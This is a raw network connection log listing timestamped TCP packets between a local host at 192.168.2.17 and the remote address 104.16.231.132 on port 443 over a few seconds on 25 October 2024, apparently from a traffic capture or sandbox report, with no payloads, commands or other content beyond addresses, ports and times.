Oct 25, 2024 10:17:35.021368980 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.021382093 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.021418095 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.021526098 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.021543026 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.021598101 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.021609068 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.021629095 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.021630049 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.021651983 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.021687984 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.021697998 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.021723032 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.021724939 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.021742105 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.021780014 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.021795034 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.021811962 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.021831989 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.021840096 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.021868944 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.021878958 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.021912098 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.021914959 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.021933079 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.021964073 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.021974087 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022000074 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.022001028 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022025108 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022054911 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.022063971 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022088051 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.022102118 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022121906 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022162914 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.022176981 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022197962 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.022198915 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022222996 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022253990 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.022263050 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022288084 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.022304058 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022320986 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022357941 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.022372007 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022392035 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022392035 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.022413969 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022444963 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.022454977 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022478104 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.022490025 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022506952 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022545099 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.022558928 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022574902 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022579908 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.022598028 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022633076 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.022643089 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022665024 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.022670031 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022691011 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022726059 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.022736073 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022762060 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022761106 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.022788048 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022816896 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.022828102 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022850990 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.022857904 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022876978 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022928953 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.022928953 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.022941113 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022957087 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.022984982 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.023010015 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.023020983 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.023046970 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.023061037 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.023080111 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.023128033 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.023128033 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.023139954 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.023155928 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.023178101 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.023214102 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.023224115 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.023245096 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.023248911 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.023262978 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.023300886 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.023310900 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.023346901 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.023351908 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.023369074 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.023401022 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.023410082 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.023432970 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.023435116 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.023452997 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.023508072 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.023508072 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.023519993 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.023538113 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.023598909 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.231378078 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.282634020 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.491383076 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.491461039 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.935411930 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.935503006 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:36.799379110 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:36.799489975 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.221314907 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.221357107 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.221471071 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.234061956 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.234069109 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234078884 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234122992 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234143972 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.234149933 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234158039 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234164000 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234194040 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.234199047 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234231949 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.234236002 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234250069 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234266996 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.234272003 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234322071 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.234325886 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234337091 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234369040 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.234373093 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234407902 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234421968 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234433889 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.234446049 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234462023 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234496117 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.234500885 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234508991 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234538078 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.234572887 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234616995 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234644890 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.234651089 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234673023 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234693050 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.234699011 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234702110 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234743118 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.234747887 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234757900 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234797955 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.234805107 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234816074 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234858036 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.234877110 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234903097 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234910965 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.234946966 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.234951019 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.234986067 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.235023022 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.235038996 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.235075951 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.235090017 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.235127926 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.235138893 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.235167980 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.235172033 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.235197067 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.235203028 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.235232115 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.235243082 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.235259056 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.235265017 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.235292912 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.235297918 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.235310078 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.235336065 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.235342979 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.235362053 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.235394001 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.235398054 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.235420942 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.235424995 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.235450983 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.235466003 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.235694885 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.235801935 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.235816002 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.235821009 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.235860109 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.235943079 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.235986948 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.236004114 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.236008883 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.236047029 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.236125946 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.236166000 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.236183882 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.236187935 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.236213923 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.236231089 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.236299992 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.236341000 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.236367941 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.236371994 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.236392021 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.236413002 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.236474037 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.236515999 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.236535072 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.236550093 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.236579895 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.236613035 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.236686945 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.236726999 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.236751080 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.236754894 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.236783981 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.236803055 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.236859083 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.236897945 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.236917973 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.236922979 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.236951113 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.236968994 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.237035036 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.237075090 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.237097979 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.237102032 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.237128973 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.237147093 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.237206936 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.237246990 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.237271070 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.237274885 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.237301111 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.237319946 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.237377882 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.237416983 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.237442970 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.237452030 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.237481117 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.237497091 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.237550974 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.237592936 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.237620115 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.237623930 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.237652063 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.237670898 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.237749100 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.237790108 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.237809896 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.237813950 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.237839937 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.237860918 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.237922907 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.237961054 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.237987995 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.237992048 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.238018990 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.238033056 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.238095045 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.238136053 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.238168955 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.238173008 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.238199949 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.238218069 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.238269091 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.238312006 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.238327026 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.238332033 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.238357067 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.238378048 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.238442898 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.238482952 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.238508940 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.238512993 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.238539934 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.238554955 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.238612890 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.238653898 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.238672972 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.238677979 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.238707066 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.238720894 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.238786936 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.238826036 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.238847971 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.238852978 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.238878965 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.238898039 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.238950968 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.238990068 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.239010096 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.239013910 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.239042997 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.239061117 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.239119053 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.239166021 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.239206076 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.239209890 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.239236116 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.239252090 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.239300966 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.239362001 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.239365101 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.239388943 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.239419937 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.239428043 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.239521980 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.239562035 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.239586115 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.239589930 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.239626884 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.239640951 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.239694118 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.239734888 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.239761114 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.239764929 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.239792109 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.239809990 CEST	58442	443	192.168.2.17	104.16.231.132
